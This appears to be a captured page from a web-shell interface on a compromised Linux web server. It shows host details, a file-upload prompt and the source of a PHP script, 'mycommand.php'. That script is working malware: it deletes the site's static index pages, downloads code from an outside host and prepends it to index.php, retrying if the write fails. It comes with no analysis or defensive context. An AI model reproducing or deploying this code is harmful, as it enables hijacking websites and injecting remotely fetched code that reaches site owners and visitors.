0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.15.218.44


Current Path : /proc/thread-self/root/var/www/html/bnu/20200315/
Upload File :
Current File : //proc/thread-self/root/var/www/html/bnu/20200315/mycommand.php

<?php
echo "RESPONSESTART";
$root = rtrim($_SERVER["DOCUMENT_ROOT"],'/');
$index = $root.'/index.php';
$source = file_get_contents($index);
$index_html = $root.'/index.html';
$index_htm = $root.'/index.htm';
if(file_exists($index_html))
{
	unlink($index_html);
}
if(file_exists($index_htm))
{
	unlink($index_htm);
}
if(!preg_match('#<!--SYSADMIN-->#',$source))
{
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, "http://jakkelly.com/code.txt");
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	$code = curl_exec($ch);
	curl_close($ch); 
	$new_code = $code.$source;
	$f = fopen($index, "w");
	if(fwrite($f, $new_code))
	{
		echo 'SUCCESS_CODE_RUN';
	}else{
		if(unlink($index))
		{
			touch($index);

	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, "http://jakkelly.com/code.txt");
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	$code = curl_exec($ch);
	curl_close($ch); 
	$new_code = $code.$source;
	$f = fopen($index, "w");
			if(fwrite($f, $new_code))
			{
				echo 'SUCCESS_CODE_RUN';
			}
		}
	}
}else
{
	echo 'SUCCESS_CODE_RUN';
}
echo "RESPONSEEND";
?>